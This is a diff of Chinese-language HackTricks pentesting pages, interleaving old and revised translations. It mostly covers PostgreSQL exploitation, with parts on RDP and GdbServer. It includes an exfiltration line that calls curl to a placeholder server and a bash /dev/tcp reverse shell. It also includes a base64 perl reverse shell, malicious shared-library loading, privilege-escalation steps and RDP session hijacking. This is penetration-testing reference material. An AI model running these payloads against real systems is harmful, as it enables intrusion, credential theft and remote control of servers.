| rolconfig | 运行时配置变量的角色特定默认值 |
| oid | 角色的ID |
| rolsuper | 角色具有超级用户特权 |
| rolinherit | 角色自动继承其成员角色的特权 |
| rolcreaterole | 角色可以创建更多角色 |
| rolcreatedb | 角色可以创建数据库 |
| rolcanlogin | 角色可以登录。也就是说,此角色可以作为初始会话授权标识符 |
| rolreplication | 角色是复制角色。复制角色可以启动复制连接并创建和删除复制插槽。 |
| rolconnlimit | 对于可以登录的角色,设置此角色可以进行的最大并发连接数。-1表示无限制。 |
| rolpassword | 不是密码(始终显示为 `********` |
| rolvaliduntil | 密码过期时间(仅用于密码身份验证);如果不过期则为null |
| rolbypassrls | 角色绕过每个行级安全策略,请参阅[第5.8节](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)了解更多信息。 |
| rolconfig | 运行时配置变量的角色特定默认值 |
| oid | 角色的ID |
#### 有趣的组
* 如果您是**`pg_execute_server_program`**的成员,则可以**执行**程序
* 如果您是**`pg_read_server_files`**的成员,则可以**读取**文件
* 如果您是**`pg_write_server_files`**的成员,则可以**写入**文件
* 如果您是 **`pg_execute_server_program`** 的成员,则可以 **执行** 程序
* 如果您是 **`pg_read_server_files`** 的成员,则可以 **读取** 文件
* 如果您是 **`pg_write_server_files`** 的成员,则可以 **写入** 文件
{% hint style="info" %}
请注意在Postgres中**用户**、**组**和**角色**是**相同的**。这取决于您如何使用它以及是否**允许登录**。
@ -272,7 +285,7 @@ GRANT pg_read_server_files TO username;
[**更多信息**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
有**其他PostgreSQL函数**可用于**读取文件或列出目录**。只有**超级用户**和**具有显式权限**的用户可以使用它们:
其他**PostgreSQL函数**可用于**读取文件或列出目录**。只有**超级用户**和**具有显式权限**的用户可以使用它们:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
@ -300,14 +313,14 @@ GRANT pg_read_server_files TO username;
### 简单文件写入
只有**超级用户**和**`pg_write_server_files`**成员可以使用`copy`来写入文件。
只有**超级用户**和**`pg_write_server_files`**成员才能使用`copy`来写入文件。
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}
{% hint style="warning" %}
请记住,如果您不是超级用户但具有**`CREATEROLE`**权限,则可以**将自己添加到该组中:**
请记住,如果您不是超级用户但具有**`CREATEROLE`**权限,则可以**将自己添加到该组中:**
```sql
GRANT pg_write_server_files TO username;
```
@ -315,7 +328,7 @@ GRANT pg_write_server_files TO username;
{% endhint %}
请记住COPY 无法处理换行符,因此即使您使用 base64 负载,**您也需要发送一行命令**。\
这种技术的一个非常重要的限制是**`copy` 不能用于写入二进制文件,因为它会修改一些二进制值。**
这种技术的一个非常重要的限制是**`copy` 无法用于编写二进制文件,因为它会修改一些二进制值。**
### **上传二进制文件**
@ -333,7 +346,7 @@ GRANT pg_write_server_files TO username;
### 通过本地文件写入更新 PostgreSQL 表数据
如果您有必要的权限来读写 PostgreSQL 服务器文件,您可以通过**覆盖关联文件节点**在[PostgreSQL 数据目录](https://www.postgresql.org/docs/8.1/storage.html)中的任何表来更新服务器上的任何表。有关此技术的**更多信息**[**在这里**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)。
如果您有必要的权限来读写 PostgreSQL 服务器文件,您可以通过**覆盖关联文件节点**在[PostgreSQL 数据目录](https://www.postgresql.org/docs/8.1/storage.html)更新服务器上的任何表。有关此技术的**更多信息**[**在这里**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)。
所需步骤:
@ -343,7 +356,7 @@ GRANT pg_write_server_files TO username;
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**注意:** 如果无法从设置中检索当前数据目录路径,您可以通过 `SELECT version()` 查询获取主要的 PostgreSQL 版本,并尝试暴力破解路径。在 Unix 安装的 PostgreSQL 上,常见的数据目录路径是 `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`。常见的集群名称是 `main`
**注意:** 如果无法从设置中检索当前数据目录路径,您可以通过 `SELECT version()` 查询查询主要的 PostgreSQL 版本,然后尝试暴力破解路径。在 Unix 安装的 PostgreSQL 上,常见的数据目录路径是 `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`。常见的集群名称是 `main`
2. 获取与目标表关联的文件节点的相对路径
```sql
@ -403,7 +416,7 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
### **RCE 到程序**
自[版本 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)起,只有**超级用户**和**`pg_execute_server_program`**组的成员才能使用 copy 进行 RCE例如用于数据泄露的示例
自[版本 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)起,只有**超级用户**和**`pg_execute_server_program`** 组的成员才能使用 copy 进行 RCE例如用于数据泄露的示例
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
@ -428,8 +441,8 @@ GRANT pg_execute_server_program TO username;
[**更多信息**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
或者使用`metasploit`中的`multi/postgres/postgres_copy_from_program_cmd_exec`模块。\
有关此漏洞的更多信息[**在此处**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)。尽管被报告为CVE-2019-9193但Postges声明这是一个[功能,不会修复](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/)。
或者使用 **metasploit** 中的 `multi/postgres/postgres_copy_from_program_cmd_exec` 模块。\
关于此漏洞的更多信息[**在这里**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)。尽管被报告为 CVE-2019-9193但Postges宣称这是一个[功能,不会修复](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/)。
### 使用PostgreSQL语言进行RCE
@ -439,7 +452,7 @@ GRANT pg_execute_server_program TO username;
### 使用PostgreSQL扩展进行RCE
一旦您从之前的帖子中**学会了如何上传二进制文件**,您可以尝试获取**通过上传postgresql扩展并加载它来实现RCE**。
一旦你从之前的帖子中**学会了如何上传二进制文件**,你可以尝试获取**RCE上传postgresql扩展并加载它**。
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
@ -451,13 +464,13 @@ GRANT pg_execute_server_program TO username;
以下RCE向量在受限制的SQLi上下文中特别有用因为所有步骤都可以通过嵌套的SELECT语句执行
{% endhint %}
PostgreSQL的**配置文件**由**运行数据库的postgres用户**拥有可写权限,因此作为**超级用户**,您可以在文件系统中写入文件,因此可以**覆盖此文件。**
PostgreSQL的**配置文件**由**postgres用户**(运行数据库的用户)拥有可写权限,因此作为**超级用户**,您可以在文件系统中写入文件,因此可以**覆盖此文件。**
![](<../.gitbook/assets/image (303).png>)
#### **使用ssl\_passphrase\_command进行RCE**
有关此技术的更多信息[此处](https://pulsesecurity.co.nz/articles/postgres-sqli)。
有关此技术的更多信息[请点击此处](https://pulsesecurity.co.nz/articles/postgres-sqli)。
配置文件具有一些有趣的属性可以导致RCE
@ -471,39 +484,39 @@ PostgreSQL的**配置文件**由**运行数据库的postgres用户**拥有可写
2. **加密**下载的私钥:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **覆盖**
4. **转储**当前的postgresql **配置**
4. **转储**当前的PostgreSQL **配置**
5. 使用上述属性配置**覆盖** **配置**
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. 执行`pg_reload_conf()`
6. 执行 `pg_reload_conf()`
在测试中我注意到只有在**私钥文件具有640权限****由root拥有**并由**ssl-cert或postgres组拥有**因此postgres用户可以读取它并且放置在_/var/lib/postgresql/12/main_中时,此方法才有效。
在测试中我注意到,这只有在**私钥文件具有640权限****由root拥有**并由**ssl-cert或postgres组拥有**因此postgres用户可以读取它并且放置在_/var/lib/postgresql/12/main_中时才有效。
#### **使用archive\_command进行RCE**
有关此配置和WAL的更多[**信息此处**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**。**
有关此配置和WAL的更多[**信息请点击此处**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**。**
配置文件中的另一个可利用属性是`archive_command`。
使其工作,`archive_mode`设置必须为`'on'`或`'always'`。如果是这样,那么我们可以覆盖`archive_command`中的命令并通过WAL预写式日志记录操作强制执行它。
为了使其工作,`archive_mode`设置必须为`'on'`或`'always'`。如果是这样,那么我们可以覆盖`archive_command`中的命令并通过WAL预写式日志记录操作强制执行它。
一般步骤是:
1. 检查归档模式是否已启用:`SELECT current_setting('archive_mode')`
2. 使用有效载覆盖`archive_command`。例如反向shell`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
2. 使用有效载覆盖`archive_command`。例如反向shell`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. 重新加载配置:`SELECT pg_reload_conf()`
4. 强制运行WAL操作这将调用归档命令`SELECT pg_switch_wal()`或对于某些Postgres版本`SELECT pg_switch_xlog()`
#### **使用预加载库进行RCE**
有关此技术的更多信息[此处](https://adeadfed.com/posts/postgresql-select-only-rce/)。
有关此技术的更多信息[请点击此处](https://adeadfed.com/posts/postgresql-select-only-rce/)。
此攻击向量利用以下配置变量:
* `session_preload_libraries` -- PostgreSQL服务器在客户端连接时将加载的库。
* `dynamic_library_path` -- PostgreSQL服务器将搜索库的目录列表。
我们可以将`dynamic_library_path`值设置为`postgres`用户运行数据库的可写目录,例如`/tmp/`目录,并在其中上传恶意`.so`对象。接下来,我们将通过将其包含在`session_preload_libraries`变量中强制PostgreSQL服务器加载我们新上传的库。
我们可以将`dynamic_library_path`值设置为`postgres`用户运行数据库的可写目录,例如`/tmp/`目录,并在那里上传一个恶意的`.so`对象。接下来,我们将通过将其包含在`session_preload_libraries`变量中强制PostgreSQL服务器加载我们新上传的库。
攻击步骤为:
@ -560,7 +573,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
6. 上传在步骤2-3中创建的恶意`postgresql.conf`,并覆盖原始文件
7. 将步骤5中的`payload.so`上传到`/tmp`目录
8. 通过重新启动服务器或调用`SELECT pg_reload_conf()`查询重新加载服务器配置
9. 在下一个DB连接时您将收到反向shell连接。
9. 在下一个数据库连接时您将收到反向shell连接。
## **Postgres提权**
### CREATEROLE提权
@ -587,7 +600,7 @@ ALTER USER user_name WITH PASSWORD 'new_password';
```
#### 提升为超级用户
通常会发现**本地用户可以在不提供任何密码的情况下登录到 PostgreSQL**。因此,一旦您获得了**执行代码的权限**,您可以滥用这些权限来获**`SUPERUSER`**角色:
通常情况下,会发现**本地用户可以在 PostgreSQL 中登录而无需提供任何密码**。因此,一旦您获得了**执行代码的权限**,您可以滥用这些权限来获**`SUPERUSER`**角色:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
@ -603,23 +616,23 @@ host all all ::1/128 trust
```
### **ALTER TABLE提权**
在[**这篇文章**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)中解释了如何通过滥用授予用户的ALTER TABLE权限来在Postgres GCP中进行**提权**。
在[**这篇文章**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)中解释了如何在Postgres GCP中滥用授予用户的ALTER TABLE权限来进行**提权**。
当您尝试**将另一个用户设为表的所有者**时,应该会收到一个**错误**来阻止此操作但显然GCP允许在GCP中的非超级用户postgres用户中执行此操作:
当您尝试**将另一个用户设为表的所有者**时,应该会收到**错误**以阻止此操作但显然GCP允许非超级用户postgres用户执行此操作:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
将这个想法与以下事实结合起来:当在具有索引函数的表上执行**INSERT/UPDATE/ANALYZE**命令时,该**函数**将作为命令的一部分以**表所有者的权限**被**调用**。可以创建一个带有函数的索引,并将所有者权限授予该表的**超级用户**,然后在具有恶意函数的表上运行ANALYZE该函数将能够执行命令因为它正在使用所有者的权限。
结合这个想法,当在具有索引函数的表上执行**INSERT/UPDATE/ANALYZE**命令时,该**函数**会作为命令的一部分以**表所有者的权限**被**调用**。可以创建一个带有函数的索引,并将所有者权限授予**超级用户**,然后对具有恶意函数的表运行ANALYZE该函数将能够执行命令因为它正在使用所有者的权限。
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
```
#### 漏洞利用
#### 利用
1. 首先创建一个新表。
2. 向表中插入一些无关内容,以提供索引函数的数据。
3. 开发一个包含代码执行有效负载的恶意索引函数,允许执行未经授权的命令。
3. 开发一个包含代码执行负载的恶意索引函数,允许执行未经授权的命令。
4. 将表的所有者更改为"cloudsqladmin"这是GCP专门用于管理和维护数据库的超级用户角色。
5. 对表执行ANALYZE操作。此操作迫使PostgreSQL引擎切换到表所有者"cloudsqladmin"的用户上下文。因此,恶意索引函数将以"cloudsqladmin"的权限调用从而使先前未经授权的shell命令得以执行。
@ -704,9 +717,9 @@ PERFORM dblink_disconnect();
</code></pre>
正如[**文档中所解释的**](https://www.postgresql.org/docs/current/sql-createfunction.html),具有**SECURITY DEFINER 的函数**将以**拥有它的用户的权限**执行。因此,如果函数**容易受到SQL注入攻击**或者使用了一些**由攻击者控制的参数执行特权操作**,则可能被滥用以**在postgres内提升权限**。
正如[**文档中所解释的**](https://www.postgresql.org/docs/current/sql-createfunction.html),具有 **SECURITY DEFINER 的函数** 将以 **拥有它的用户的权限** 执行。因此,如果函数**容易受到 SQL 注入攻击**或者使用了一些**由攻击者控制的参数执行特权操作**,则可能被滥用以**在 postgres 内提升权限**。
在上述代码的第4行中您可以看到该函数具有**SECURITY DEFINER**标志。
在上述代码的第4行中您可以看到该函数具有 **SECURITY DEFINER** 标志。
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
@ -714,7 +727,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
### 通过PL/pgSQL进行暴力破解
**PL/pgSQL**是一种功能齐全的编程语言与SQL相比,它提供了更大的过程控制。它可以使用**循环**和其他**控制结构**来增强程序逻辑。此外,**SQL语句**和**触发器**可以调用使用**PL/pgSQL语言**创建的函数。这种集成允许更全面和多功能的数据库编程和自动化方法。\
**PL/pgSQL**是一种**功能齐全的编程语言**与SQL相比提供了更大的过程控制。它可以使用**循环**和其他**控制结构**来增强程序逻辑。此外,**SQL语句**和**触发器**可以调用使用**PL/pgSQL语言**创建的函数。这种集成允许更全面和多功能的数据库编程和自动化方法。\
**您可以滥用这种语言来要求PostgreSQL暴力破解用户凭据。**
### 通过覆盖内部PostgreSQL表进行权限提升
@ -733,10 +746,12 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
2. 获取与`pg_authid`表关联的文件节点的相对路径
3. 通过`lo_*`函数下载文件节点
4. 获取与`pg_authid`表关联的数据类型
5. 使用[PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)来[编辑文件节点](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); 将所有`rol*`布尔标志设置为1以获完全权限。
5. 使用[PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)来[编辑文件节点](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); 将所有`rol*`布尔标志设置为1以获完全权限。
6. 通过`lo_*`函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件
7. _(可选)_通过运行昂贵的SQL查询来清除内存表缓存
8. 您现在应该具有完整超级管理员权限。
## **POST**
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
@ -746,7 +761,7 @@ msf> use exploit/windows/postgres/postgres_payload
```
### 日志记录
_**postgresql.conf**_ 文件中,您可以通过更改以下内容来启用postgresql日志记录
_**postgresql.conf**_ 文件中,您可以通过更改以下设置来启用postgresql日志记录
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
@ -772,4 +787,4 @@ string pgadmin4.db
PostgreSQL中的客户端身份验证通过一个名为**pg\_hba.conf**的配置文件进行管理。该文件包含一系列记录每个记录指定连接类型、客户端IP地址范围如果适用、数据库名称、用户名以及用于匹配连接的身份验证方法。与连接类型、客户端地址、请求的数据库和用户名匹配的第一条记录用于身份验证。如果身份验证失败没有备用选项或备份。如果没有记录匹配则拒绝访问。
在pg\_hba.conf中可用的基于密码的身份验证方法有**md5**、**crypt**和**password**。这些方法在密码传输方式上有所不同MD5哈希、crypt加密或明文。需要注意的是crypt方法不能与在pg\_authid中加密的密码一起使用。
在pg\_hba.conf中可用的基于密码的身份验证方法有**md5**、**crypt**和**password**。这些方法在密码传输方式上有所不同MD5哈希、crypt加密或明文。需要注意的是crypt方法不能与在pg\_authid中加密的密码一起使用。

View file

@ -1,28 +1,28 @@
# 3389 - 渗透测试 RDP
# 3389 - Pentesting RDP
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
支持HackTricks的其他方式
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**即时可用的漏洞评估和渗透测试设置**。使用 20 多种工具和功能从侦察到报告运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
**即时提供的漏洞评估和渗透测试设置**。使用包含从侦察到报告的20多种工具和功能的完整渗透测试随时随地运行。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块让他们有更多时间深入挖掘、弹出shell并享受乐趣。
{% embed url="https://pentest-tools.com/" %}
## 基本信息
Microsoft 开发,**远程桌面协议****RDP**)旨在实现计算机之间的图形界面连接。为建立这种连接,用户使用 **RDP** 客户端软件,同时,远程计算机需要运行 **RDP** 服务器软件。这种设置允许对远程计算机的桌面环境进行无缝控制和访问,实质上将其界面带到用户的本地设备上。
由Microsoft开发**远程桌面协议****RDP**)旨在实现计算机之间的图形界面连接。为建立这种连接,用户使用**RDP**客户端软件,同时,远程计算机需要运行**RDP**服务器软件。这种设置允许无缝控制和访问远程计算机的桌面环境,基本上将其界面带到用户的本地设备上。
**默认端口:** 3389
```
@ -39,7 +39,7 @@ nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 338
```
{% endcode %}
它检查可用的加密和 DoS 漏洞(在不导致服务 DoS 的情况下),并获取 NTLM Windows 信息(版本)。
它检查可用的加密和 DoS 漏洞(在不导致服务拒绝的情况下),并获取 NTLM Windows 信息(版本)。
### [暴力破解](../generic-methodologies-and-resources/brute-force.md#rdp)
@ -61,15 +61,15 @@ rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### 检查已知凭据是否适用于 RDP 服务
### 检查已知凭据是否适用于RDP服务
rdp_check.py 来自 impacket 可让您检查某些凭据是否适用于 RDP 服务:
rdp\_check.py来自impacket让您可以检查某些凭据是否适用于RDP服务:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**立即可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出 shell 并享受乐趣。
**即时提供的漏洞评估和渗透测试设置**。使用从侦察到报告的 20 多种工具和功能运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出 shell 并享受乐趣。
{% embed url="https://pentest-tools.com/" %}
@ -77,7 +77,7 @@ rdp_check <domain>/<name>:<password>@<IP>
### 会话劫持
拥有 **SYSTEM 权限**,您可以访问任何用户打开的 RDP 会话,无需知道所有者的密码。
通过**SYSTEM 权限**,您可以访问任何用户打开的 RDP 会话,无需知道所有者的密码。
**获取已打开的会话:**
```
@ -87,11 +87,11 @@ query user
```bash
tscon <ID> /dest:<SESSIONNAME>
```
现在您将进入所选的RDP会话并且只能使用Windows工具和功能来模拟用户。
现在您将进入所选的RDP会话并且您将使用仅限Windows工具和功能来模拟用户。
**重要提示**当您访问活动的RDP会话时将会注销正在使用该会话的用户
**重要提示**当您访问活动的RDP会话时您将会将正在使用该会话的用户踢出
您可以通过转储进程来获取密码,但这种方法更快,可以让您与用户的虚拟桌面进行交互(例如在记事本中查看密码,而不会将其保存在磁盘上,在其他机上打开的其他RDP会话...
您可以通过转储进程来获取密码,但这种方法速度更快,并且可以让您与用户的虚拟桌面进行交互(例如在记事本中查看密码,而不会将其保存在磁盘上,或者在其他计算机上打开的其他RDP会话...
#### **Mimikatz**
@ -102,13 +102,13 @@ ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
结合这技术与**stickykeys**或**utilman**您将能够随时访问管理CMD和任何RDP会话
结合这技术与**stickykeys**或**utilman**您将能够随时访问管理CMD和任何RDP会话
您可以使用以下命令搜索已经使用这些技术后门的RDP[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP进程注入
如果来自不同域或**拥有更高权限的用户通过RDP登录**到您作为管理员的PC您可以**将您的信标注入到他的RDP会话进程中**并扮演他的角色:
如果来自不同域或具有**更高权限的用户通过RDP**登录到您是管理员的PC您可以将您的信标**注入**到他的**RDP会话进程**中并扮演他的角色:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@ -150,22 +150,22 @@ Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
**立即提供的漏洞评估和渗透测试设置**。从侦察到报告使用20多种工具和功能运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。
**立即提供的漏洞评估和渗透测试设置**。从侦察到报告,使用 20 多种工具和功能运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>

View file

@ -1,36 +1,36 @@
# 远程 GdbServer 渗透测试
# 远程GdbServer渗透测试
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
支持HackTricks的其他方式
* 如果您想看到您的**公司在 HackTricks 中被广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
